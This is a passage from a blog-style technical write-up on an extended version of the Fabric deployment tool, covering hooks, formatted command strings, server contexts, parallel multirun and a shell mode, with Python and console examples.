<td>Run when the commands listing has finished running in response to <tt class="docutils literal">fab</tt> or
<tt class="docutils literal">fab <span class="pre">--list</span></tt>. Useful for adding extra info.</td>
</tr>
</tbody>
</table>
<p>You can access the functions attached to a specific hook by calling
<tt class="docutils literal">hook.get()</tt>, e.g.</p>
<div class="syntax python"><pre><span class="n">functions</span> <span class="o">=</span> <span class="n">hook</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">&#39;config.loaded&#39;</span><span class="p">)</span><br/></pre></div>
<p>You can also define your own custom hooks and call the attached functions by
using <tt class="docutils literal">hook.call()</tt>. This takes the hook name as the first parameter and all
subsequent parameters are used when calling the hook's attached functions.</p>
<p>Here's an example that shows <tt class="docutils literal">hook.call()</tt> in action along with <tt class="docutils literal">env.hook</tt>
and the ability to attach the same function to multiple hooks by passing
multiple names to the <tt class="docutils literal">&#64;hook</tt> decorator:</p>
<div class="syntax python"><pre><span class="nd">@hook</span><span class="p">(</span><span class="s">&#39;deploy.success&#39;</span><span class="p">,</span> <span class="s">&#39;deploy.failure&#39;</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">irc_notify</span><span class="p">(</span><span class="n">release_id</span><span class="p">,</span> <span class="n">info</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span><br/>    <span class="n">client</span> <span class="o">=</span> <span class="n">IrcClient</span><span class="p">(</span><span class="s">&#39;devbot&#39;</span><span class="p">,</span> <span class="s">&#39;irc.freenode.net&#39;</span><span class="p">,</span> <span class="s">&#39;#esp&#39;</span><span class="p">)</span><br/>    <span class="k">if</span> <span class="n">env</span><span class="o">.</span><span class="n">hook</span> <span class="o">==</span> <span class="s">&#39;deploy.success&#39;</span><span class="p">:</span><br/>        <span class="n">client</span><span class="o">.</span><span class="n">msg</span><span class="p">(</span><span class="s">&quot;Successfully deployed: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="n">release_id</span><span class="p">)</span><br/>    <span class="k">else</span><span class="p">:</span><br/>        <span class="n">client</span><span class="o">.</span><span class="n">msg</span><span class="p">(</span><span class="s">&quot;Failed deployment: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="n">release_id</span><span class="p">)</span><br/><br/><br/><span class="nd">@hook</span><span class="p">(</span><span class="s">&#39;deploy.success&#39;</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">webhook_notify</span><span class="p">(</span><span class="n">release_id</span><span class="p">,</span> <span class="n">info</span><span class="p">):</span><br/>    <span class="n">webhook</span><span class="o">.</span><span class="n">post</span><span class="p">({</span><span class="s">&#39;id&#39;</span><span class="p">:</span> <span class="n">release_id</span><span class="p">,</span> <span class="s">&#39;payload&#39;</span><span class="p">:</span> <span class="n">info</span><span class="p">})</span><br/><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">deploy</span><span class="p">():</span><br/>    <span class="n">release_id</span> <span class="o">=</span> <span class="n">get_release_id</span><span class="p">()</span><br/>    <span class="k">try</span><span class="p">:</span><br/>        <span class="o">...</span><br/>        <span class="n">info</span> <span class="o">=</span> <span class="n">get_release_info</span><span class="p">()</span><br/>    <span class="k">except</span> <span class="ne">Exception</span><span class="p">:</span><br/>        <span class="n">hook</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="s">&#39;deploy.failure&#39;</span><span class="p">,</span> <span class="n">release_id</span><span class="p">)</span><br/>    <span class="k">else</span><span class="p">:</span><br/>        <span class="n">hook</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="s">&#39;deploy.success&#39;</span><span class="p">,</span> <span class="n">release_id</span><span class="p">,</span> <span class="n">info</span><span class="p">)</span><br/></pre></div>
<p>And, finally, you can disable specific hooks via the <tt class="docutils literal"><span class="pre">--disable-hooks</span></tt> command
line option which takes space-separated patterns, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab deploy --disable-hooks <span class="s1">&#39;config.loaded deploy.*&#39;</span><br/></pre></div>
<p>You can override these disabled hooks in turn with the <tt class="docutils literal"><span class="pre">--enable-hooks</span></tt>
option, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab deploy --disable-hooks <span class="s1">&#39;deploy.*&#39;</span> --enable-hooks <span class="s1">&#39;deploy.success&#39;</span><br/></pre></div>
<p>Both <tt class="docutils literal">hook.call()</tt> and <tt class="docutils literal">hook.get()</tt> respect these command-line parameters,
so if you ever need to access the raw hook registry dict, you can access it
directly via <tt class="docutils literal">hook.registry</tt>.</p>
</div>
<div class="section" id="interpolation-directories-support">
<h1>Interpolation &amp; Directories Support</h1>
<p>Fabric provides a number of builtin functions that let you make command line
calls:</p>
<ul class="simple">
<li><tt class="docutils literal">local()</tt> &mdash; runs a command on the local host.</li>
<li><tt class="docutils literal">run()</tt> &mdash; runs a command on a remote host.</li>
<li><tt class="docutils literal">sudo()</tt> &mdash; runs a sudoed command on a remote host.</li>
</ul>
<p>I've added two optional parameters to these. A <tt class="docutils literal">dir</tt> parameter can be used to
specify the directory from within which the command should be run, e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">restart</span><span class="p">():</span><br/>    <span class="n">run</span><span class="p">(</span><span class="s">&quot;amp restart&quot;</span><span class="p">,</span> <span class="nb">dir</span><span class="o">=</span><span class="s">&#39;/opt/ampify&#39;</span><span class="p">)</span><br/></pre></div>
<p>And a <tt class="docutils literal">format</tt> parameter can be used to access the new formatted strings
functionality, e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">backup</span><span class="p">():</span><br/>    <span class="n">run</span><span class="p">(</span><span class="s">&quot;backup.rb {app_directory} {s3_key}&quot;</span><span class="p">,</span> <span class="n">format</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span><br/></pre></div>
<p>This makes use of the <a class="reference external" href="http://www.python.org/dev/peps/pep-3101/">Advanced String Formatting</a> support that is available in Python
2.6 and later. The <tt class="docutils literal">env</tt> object is used to look-up the various parameters,
i.e. the above is equivalent to:</p>
<div class="syntax python"><pre><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">backup</span><span class="p">():</span><br/>    <span class="n">command</span> <span class="o">=</span> <span class="s">&quot;backup.rb {app_directory} {s3_key}&quot;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="o">**</span><span class="n">env</span><span class="p">)</span><br/>    <span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">)</span><br/></pre></div>
<p>By default, <tt class="docutils literal">format</tt> is set to <tt class="docutils literal">False</tt> and the string is run without any
substitution. But if you happen to find formatting as useful a I do, you can
enable it as default by setting:</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">format</span> <span class="o">=</span> <span class="bp">True</span><br/></pre></div>
<p>You can then use it without having to constantly set <tt class="docutils literal">format=True</tt>, e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">backup</span><span class="p">():</span><br/>    <span class="n">run</span><span class="p">(</span><span class="s">&quot;backup.rb {app_directory} {s3_key}&quot;</span><span class="p">)</span><br/></pre></div>
</div>
<div class="section" id="fabric-contexts">
<h1>Fabric Contexts</h1>
<p>I've used Fabric for everything from simple single-machine deployments to web
app deployments across multiple data centers to even physical multi-touch
installations at the <a class="reference external" href="http://www.moadoph.gov.au/exhibitions/prime-ministers-of-australia-exhibition/">Museum of Australian Democracy</a>.</p>
<p>And for everything but the simplest of setups, I've had to work around the
limited support offered by Fabric's <tt class="docutils literal">&#64;hosts</tt> and <tt class="docutils literal">&#64;roles</tt> in terms of:</p>
<ul class="simple">
<li>Managing configurable <tt class="docutils literal">env</tt> values when dealing with different servers.</li>
<li>Executing workflows involving different sets of servers within the same Fabric
command, e.g. app servers, db servers, load balancers, etc.</li>
</ul>
<p>And, clearly, I am <a class="reference external" href="http://lists.gnu.org/archive/html/fab-user/2009-05/msg00027.html">not</a> <a class="reference external" href="http://lists.nongnu.org/archive/html/fab-user/2010-09/msg00023.html">the</a> <a class="reference external" href="http://lists.nongnu.org/archive/html/fab-user/2010-12/msg00020.html">only</a> <a class="reference external" href="http://lists.nongnu.org/archive/html/fab-user/2011-02/msg00005.html">one</a> who has
experienced this pain. So I've introduced the notion of &ldquo;contexts&rdquo; and an
<tt class="docutils literal">env()</tt> context runner into the Fabric core. This means that you can now do
things like:</p>
<div class="syntax python"><pre><span class="k">def</span> <span class="nf">purge_caches</span><span class="p">():</span><br/>    <span class="n">run</span><span class="p">(</span><span class="s">&#39;./purge-redis-cache&#39;</span><span class="p">,</span> <span class="nb">dir</span><span class="o">=</span><span class="n">env</span><span class="o">.</span><span class="n">redis_directory</span><span class="p">)</span><br/>    <span class="n">run</span><span class="p">(</span><span class="s">&#39;./purge-varnish-cache&#39;</span><span class="p">,</span> <span class="nb">dir</span><span class="o">=</span><span class="n">env</span><span class="o">.</span><span class="n">varnish_directory</span><span class="p">)</span><br/><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">deploy</span><span class="p">():</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s">&#39;./manage.py set-read-only {app_directory}&#39;</span><span class="p">)</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;db-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s">&#39;./upgrade.py {db_name}&#39;</span><span class="p">)</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;cache-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">purge_caches</span><span class="p">)</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s">&#39;./manage.py restart {app_directory}&#39;</span><span class="p">)</span><br/></pre></div>
<p>And run it with a simple:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab deploy<br/></pre></div>
<p>That's right. You no longer have to manually manage <tt class="docutils literal">env</tt> values or run
insanely long command strings like:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab run_tests freeze_requirements update_repository create_snapshot update_virtualenv update_media update_nginx graceful_migrate<br/></pre></div>
<p>You can call <tt class="docutils literal">env()</tt> with a sequence of contexts as arguments and it'll act as
a constructor for the new context runner object, e.g. with multiple contexts:</p>
<div class="syntax python"><pre><span class="n">env</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">,</span> <span class="s">&#39;db-servers&#39;</span><span class="p">)</span><br/></pre></div>
<p>And when you call a context runner method, e.g. <tt class="docutils literal">.run()</tt>, it will be run for
each of the host/settings returned by <tt class="docutils literal">env.get_settings()</tt> for the given
contexts. So, for the following:</p>
<div class="syntax python"><pre><span class="n">env</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s">&#39;./manage.py upgrade {app_directory}&#39;</span><span class="p">)</span><br/></pre></div>
<p>What happens behind the scenes is somewhat equivalent to:</p>
<div class="syntax python"><pre><span class="n">ctx</span> <span class="o">=</span> <span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">,)</span><br/><span class="n">responses</span> <span class="o">=</span> <span class="p">[]</span><br/><br/><span class="k">for</span> <span class="n">cfg</span> <span class="ow">in</span> <span class="n">env</span><span class="o">.</span><span class="n">get_settings</span><span class="p">(</span><span class="n">ctx</span><span class="p">):</span><br/>    <span class="k">with</span> <span class="n">settings</span><span class="p">(</span><span class="n">ctx</span><span class="o">=</span><span class="n">ctx</span><span class="p">,</span> <span class="o">**</span><span class="n">cfg</span><span class="p">):</span><br/>        <span class="n">response</span> <span class="o">=</span> <span class="n">run</span><span class="p">(</span><span class="s">&#39;./manage.py upgrade {app_directory}&#39;</span><span class="p">)</span><br/>        <span class="n">responses</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">response</span><span class="p">)</span><br/><br/><span class="k">return</span> <span class="n">responses</span><br/></pre></div>
<p>That is, it is up to <tt class="docutils literal">env.get_settings()</tt> to return the appropriate sequence
of hosts and <tt class="docutils literal">env</tt> settings for the given contexts, e.g.</p>
<div class="syntax python"><pre><span class="p">[{</span><span class="s">&#39;host_string&#39;</span><span class="p">:</span> <span class="s">&#39;amp@appsrv21.espians.com&#39;</span><span class="p">,</span> <span class="s">&#39;host&#39;</span><span class="p">:</span> <span class="s">&#39;appsrv21.espians.com&#39;</span><span class="p">,</span><br/>  <span class="s">&#39;app_directory&#39;</span><span class="p">:</span> <span class="s">&#39;/opt/ampify&#39;</span><span class="p">},</span><br/> <span class="p">{</span><span class="s">&#39;host_string&#39;</span><span class="p">:</span> <span class="s">&#39;admin@appsrv23.espians.com&#39;</span><span class="p">,</span> <span class="s">&#39;host&#39;</span><span class="p">:</span> <span class="s">&#39;appsrv23.espians.com&#39;</span><span class="p">,</span><br/>  <span class="s">&#39;app_directory&#39;</span><span class="p">:</span> <span class="s">&#39;/var/ampify&#39;</span><span class="p">,</span> <span class="s">&#39;shell&#39;</span><span class="p">:</span> <span class="s">&#39;/bin/tcsh -c&#39;</span><span class="p">}]</span><br/></pre></div>
<p>And since deployment setups vary tremendously, instead of trying to make one
size fit all, I've made it so that you can define your own
<tt class="docutils literal">env.get_settings()</tt> function, e.g.</p>
<div class="syntax python"><pre><span class="kn">from</span> <span class="nn">fabric.network</span> <span class="kn">import</span> <span class="n">host_regex</span><br/><br/><br/><span class="k">def</span> <span class="nf">get_settings</span><span class="p">(</span><span class="n">contexts</span><span class="p">):</span><br/>    <span class="k">return</span> <span class="p">[{</span><br/>        <span class="s">&#39;host_string&#39;</span><span class="p">:</span> <span class="n">context</span><span class="p">,</span><br/>        <span class="s">&#39;host&#39;</span><span class="p">:</span> <span class="n">host_regex</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">context</span><span class="p">)</span><span class="o">.</span><span class="n">groupdict</span><span class="p">()[</span><span class="s">&#39;host&#39;</span><span class="p">]</span><br/>        <span class="p">}</span> <span class="k">for</span> <span class="n">context</span> <span class="ow">in</span> <span class="n">contexts</span><span class="p">]</span><br/><br/><br/><span class="n">env</span><span class="o">.</span><span class="n">get_settings</span> <span class="o">=</span> <span class="n">get_settings</span><br/></pre></div>
<p>It doesn't matter to Fabric what &ldquo;context&rdquo; means to you. In the above, for
example, contexts are treated as hosts, e.g.</p>
<div class="syntax python"><pre><span class="n">env</span><span class="p">(</span><span class="s">&#39;dev2.ampify.it&#39;</span><span class="p">,</span> <span class="s">&#39;dev6.ampify.it&#39;</span><span class="p">)</span><br/></pre></div>
<p>The default <tt class="docutils literal">env.get_settings()</tt> interprets &ldquo;contexts&rdquo; in a specific way and
this is described in the <a class="reference internal" href="#default-settings-manager">Default Settings Manager</a> section. But you can simply
override it to suit your specific deployment setup.</p>
</div>
<div class="section" id="context-runner">
<h1>Context Runner</h1>
<p>The context runner supports a number of methods, including:</p>
<ul class="simple">
<li><tt class="docutils literal">.execute()</tt></li>
<li><tt class="docutils literal">.local()</tt></li>
<li><tt class="docutils literal">.reboot()</tt></li>
<li><tt class="docutils literal">.run()</tt></li>
<li><tt class="docutils literal">.sudo()</tt></li>
</ul>
<p>They behave in the exact same way as their builtin counterparts. The return
value for each of the calls will be a list-like object containing the response
for each host in order, e.g.</p>
<div class="syntax python"><pre><span class="n">responses</span> <span class="o">=</span> <span class="n">env</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">sudo</span><span class="p">(</span><span class="s">&#39;make install&#39;</span><span class="p">)</span><br/><span class="k">for</span> <span class="n">response</span> <span class="ow">in</span> <span class="n">responses</span><span class="p">:</span><br/>    <span class="o">...</span><br/></pre></div>
<p>You can also pass in a function as the first parameter to <tt class="docutils literal">.run()</tt>. It will
then be run for each of the hosts/settings. You can specify a <tt class="docutils literal">warn_only=True</tt>
parameter to suppress and return any exceptions instead of raising them
directly, e.g.</p>
<div class="syntax python"><pre><span class="n">responses</span> <span class="o">=</span> <span class="n">env</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">some_func</span><span class="p">,</span> <span class="n">warn_only</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span><br/><span class="k">if</span> <span class="n">succeeded</span><span class="p">(</span><span class="n">responses</span><span class="p">):</span><br/>    <span class="o">...</span><br/></pre></div>
<p>In addition, two new builtins are provided to quickly determine the nature of
the responses:</p>
<ul class="simple">
<li><tt class="docutils literal">succeeded</tt> &mdash; returns True if all the response items were successful.</li>
<li><tt class="docutils literal">failed</tt> &mdash; returns True if any of the response items failed or threw an
exception.</li>
</ul>
<p>You can loop through the response and the corresponding host/setting values by
using the <tt class="docutils literal">.ziphost()</tt> and <tt class="docutils literal">.zipsetting()</tt> generator methods on the returned
list-like <tt class="docutils literal">responses</tt> object, e.g.</p>
<div class="syntax python"><pre><span class="n">responses</span> <span class="o">=</span> <span class="n">env</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">multirun</span><span class="p">(</span><span class="s">&#39;make build&#39;</span><span class="p">)</span><br/><span class="k">for</span> <span class="n">response</span><span class="p">,</span> <span class="n">host</span> <span class="ow">in</span> <span class="n">responses</span><span class="o">.</span><span class="n">ziphost</span><span class="p">():</span><br/>    <span class="o">...</span><br/></pre></div>
<p>You might occasionally want to make a call on a subset of hosts for particular
contexts. A utility <tt class="docutils literal">.select()</tt> method is provided to help with this. If you
pass it an integer value, it'll randomly sample as many values from the
settings, e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">build</span><span class="p">():</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;build-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">select</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s">&#39;{build_command}&#39;</span><span class="p">)</span><br/></pre></div>
<p>The <tt class="docutils literal">.select()</tt> method can also take a filter function to let you do more
custom selection, e.g. to select 2 build servers for each platform, you might do
something like:</p>
<div class="syntax python"><pre><span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">groupby</span><br/><span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">sample</span><br/><br/><br/><span class="k">def</span> <span class="nf">selector</span><span class="p">(</span><span class="n">settings</span><span class="p">):</span><br/>    <span class="n">settings</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">settings</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">s</span><span class="p">:</span> <span class="n">s</span><span class="p">[</span><span class="s">&#39;platform&#39;</span><span class="p">])</span><br/>    <span class="n">grouped</span> <span class="o">=</span> <span class="n">groupby</span><span class="p">(</span><span class="n">settings</span><span class="p">,</span> <span class="k">lambda</span> <span class="n">s</span><span class="p">:</span> <span class="n">s</span><span class="p">[</span><span class="s">&#39;platform&#39;</span><span class="p">])</span><br/>    <span class="k">return</span> <span class="p">[</span><span class="n">sample</span><span class="p">(</span><span class="nb">list</span><span class="p">(</span><span class="n">group</span><span class="p">),</span> <span class="mi">2</span><span class="p">)</span> <span class="k">for</span> <span class="n">platform</span><span class="p">,</span> <span class="n">group</span> <span class="ow">in</span> <span class="n">grouped</span><span class="p">]</span><br/><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">build</span><span class="p">():</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;build-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">select</span><span class="p">(</span><span class="n">selector</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s">&#39;{build_command}&#39;</span><span class="p">)</span><br/></pre></div>
</div>
<div class="section" id="parallel-deployment">
<h1>Parallel Deployment</h1>
<p>You no longer have to patiently wait whilst Fabric runs your commands on each
server one by one. By taking advantage of the <tt class="docutils literal">.multirun()</tt> context runner
call, you can now run commands in parallel, e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">deploy</span><span class="p">():</span><br/>    <span class="n">responses</span> <span class="o">=</span> <span class="n">env</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">multirun</span><span class="p">(</span><span class="s">&#39;make build&#39;</span><span class="p">)</span><br/>    <span class="k">if</span> <span class="n">failed</span><span class="p">(</span><span class="n">responses</span><span class="p">):</span><br/>        <span class="o">...</span><br/></pre></div>
<p>The above will run <tt class="docutils literal">make build</tt> on the <tt class="docutils literal"><span class="pre">app-servers</span></tt> in parallel &mdash; reducing
your deployment time significantly! The returned <tt class="docutils literal">responses</tt> will be a list of
the individual responses from each host in order, just like with <tt class="docutils literal">.run()</tt>.</p>
<p>If any of the hosts threw an exception, then the corresponding element within
<tt class="docutils literal">responses</tt> will contain it. Exceptions will not be raised, irregardless of
whether you'd set <tt class="docutils literal">warn_only</tt> &mdash; it is up to you to deal with them.</p>
<p>By default you see the output from all hosts, but sometimes you just want a
summary, so you can specify <tt class="docutils literal">condensed=True</tt> to <tt class="docutils literal">.multirun()</tt> and it'll
provide a much quieter, running report instead, e.g.</p>
<pre class="literal-block">
[multirun] Running 'make build test' on 31 hosts
[multirun] Finished on dev2.ampify.it
[multirun] Finished on dev7.ampify.it
[multirun] 2/31 completed ...
</pre>
<p>Also, when dealing with large number of servers, you'll run into laggy servers
from time to time. And depending on your setup, it may not be critical that
<em>all</em> servers run the command. To help with this <tt class="docutils literal">.multirun()</tt> takes two
optional parameters:</p>
<ul class="simple">
<li><tt class="docutils literal">laggards_timeout</tt> &mdash; the number of seconds to wait for laggards once the
satisfactory number of responses have been received &mdash; needs to be an int
value.</li>
<li><tt class="docutils literal">wait_for</tt> &mdash; the number of responses to wait for &mdash; this should be an int,
but can also be a float value between <tt class="docutils literal">0.0</tt> and <tt class="docutils literal">1.0</tt>, in which case it'll
be used as the factor of the total number of servers.</li>
</ul>
<p>So, for the following:</p>
<div class="syntax python"><pre><span class="n">responses</span> <span class="o">=</span> <span class="n">env</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">multirun</span><span class="p">(</span><br/>    <span class="s">&#39;make build&#39;</span><span class="p">,</span> <span class="n">laggards_timeout</span><span class="o">=</span><span class="mi">20</span><span class="p">,</span> <span class="n">wait_for</span><span class="o">=</span><span class="mf">0.8</span><br/>    <span class="p">)</span><br/></pre></div>
<p>The <tt class="docutils literal">make build</tt> command will be run on the various <tt class="docutils literal"><span class="pre">app-servers</span></tt> and once
80% of the responses have been received, it'll continue to wait up to 20 seconds
for any laggy servers before returning the responses.</p>
<p>The <tt class="docutils literal">responses</tt> list will contain the new <tt class="docutils literal">TIMEOUT</tt> builtin object for the
servers that didn't return a response in time. Like with the <tt class="docutils literal">.run()</tt> context
runner call, <tt class="docutils literal">.multirun()</tt> also accepts a function to execute instead of a
command string, e.g.</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">format</span> <span class="o">=</span> <span class="bp">True</span><br/><br/><br/><span class="k">def</span> <span class="nf">migrate_db</span><span class="p">():</span><br/>    <span class="n">run</span><span class="p">(</span><span class="s">&#39;./manage.py schemamigration --auto {app_name}&#39;</span><span class="p">)</span><br/>    <span class="n">run</span><span class="p">(</span><span class="s">&#39;./manage.py migrate {app_name}&#39;</span><span class="p">)</span><br/><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">deploy</span><span class="p">():</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;frontends&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">multirun</span><span class="p">(</span><span class="s">&#39;routing --disable&#39;</span><span class="p">)</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;app-nodes&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">multirun</span><span class="p">(</span><span class="n">migrate_db</span><span class="p">)</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;frontends&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">multirun</span><span class="p">(</span><span class="s">&#39;routing --enable&#39;</span><span class="p">)</span><br/><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">migrate</span><span class="p">():</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;app-nodes&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">multirun</span><span class="p">(</span><span class="n">migrate_db</span><span class="p">)</span><br/></pre></div>
<p>There's also a <tt class="docutils literal">.multilocal()</tt> which runs the command locally for each of the
hosts in parallel, e.g.</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">format</span> <span class="o">=</span> <span class="bp">True</span><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">db_backup</span><span class="p">():</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;db-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">multilocal</span><span class="p">(</span><span class="s">&#39;backup.rb {host}&#39;</span><span class="p">)</span><br/></pre></div>
<p>Behind the scenes, <tt class="docutils literal">.multirun()</tt> uses <tt class="docutils literal">fork()</tt> and <a class="reference external" href="http://en.wikipedia.org/wiki/Unix_domain_socket">domain sockets</a>, so it'll only work on Unix
platforms. You can specify the maximum number of parallel processes to spawn at
any one time by specifying <tt class="docutils literal">env.multirun_pool_size</tt> which is set to <tt class="docutils literal">10</tt> by
default, e.g.</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">multirun_pool_size</span> <span class="o">=</span> <span class="mi">200</span><br/></pre></div>
<p>There's also an <tt class="docutils literal">env.multirun_child_timeout</tt> which specifies the number of
seconds a child process will wait to hear from the parent before committing
suicide. It defaults to <tt class="docutils literal">10</tt> seconds, but you can configure it to suit your
setup:</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">multirun_child_timeout</span> <span class="o">=</span> <span class="mi">24</span><br/></pre></div>
<p>And, oh, there's also a <tt class="docutils literal">.multisudo()</tt> for your convenience.</p>
</div>
<div class="section" id="contextualised-tasks">
<h1>Contextualised Tasks</h1>
<p>If you call <tt class="docutils literal">env()</tt> without any contexts, it will use the contexts defined in
the <tt class="docutils literal">env.ctx</tt> tuple. This is automatically set by the context runner methods,
but you can also set it by specifying contexts to the <tt class="docutils literal">&#64;task()</tt> decorator,
e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">single</span><span class="p">():</span><br/>    <span class="k">print</span> <span class="n">env</span><span class="o">.</span><span class="n">ctx</span><br/><br/><br/><span class="nd">@task</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">,</span> <span class="s">&#39;db-servers&#39;</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">multiple</span><span class="p">():</span><br/>    <span class="k">print</span> <span class="n">env</span><span class="o">.</span><span class="n">ctx</span><br/></pre></div>
<p>All this does is set <tt class="docutils literal">env.ctx</tt> to the new tuple value, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab single<br/><span class="go">(&#39;app-servers&#39;,)</span><br/><br/><span class="gp">$</span> fab multiple<br/><span class="go">(&#39;app-servers&#39;, &#39;db-servers&#39;)</span><br/></pre></div>
<p>This is useful if you want to specify default contexts for a specific Fabric
command, e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><span class="p">(</span><span class="s">&#39;app-servers&#39;</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">deploy</span><span class="p">():</span><br/><br/>    <span class="n">env</span><span class="p">()</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s">&#39;./manage.py set-read-only {app_directory}&#39;</span><span class="p">)</span><br/>    <span class="n">env</span><span class="p">(</span><span class="s">&#39;db-servers&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s">&#39;./upgrade.py {db_name}&#39;</span><span class="p">)</span><br/>    <span class="n">env</span><span class="p">()</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s">&#39;./manage.py restart {app_directory}&#39;</span><span class="p">)</span><br/></pre></div>
<p>One reason you might want to use default contexts is so that you can later use
the new command line <tt class="docutils literal">&#64;context</tt> syntax to override it. So if you wanted to
deploy to a specific server, perhaps a new one, you could do something like:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab deploy @serv21.espians.com<br/></pre></div>
<p>And <tt class="docutils literal">serv21.espians.com</tt> will be used in place of <tt class="docutils literal"><span class="pre">app-servers</span></tt>. You can
specify multiple <tt class="docutils literal">&#64;context</tt> parameters on the command line and they will only
apply to the immediately preceding Fabric command, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab build @bld4.espians.com deploy @serv21.espians.com @serv22.espians.com<br/></pre></div>
</div>
<div class="section" id="fabric-shell">
<h1>Fabric Shell</h1>
<p>Sometimes you just want to run a bunch of commands on a number of different
servers. So I've added a funky new feature &mdash; Fabric shell mode:</p>
<div class="center">
  <a href="https://skitch.com/tav./rqccu/python" title="Fabric Shell"><img
     src="http://img.skitch.com/20110212-g8ha9cd5g441m4q3y21gewmnha.png" /></a>
</div><p>Once you are in the shell, all of your commands will be sequentially <tt class="docutils literal">run()</tt>
on the respective hosts for your calling context. You can also use the
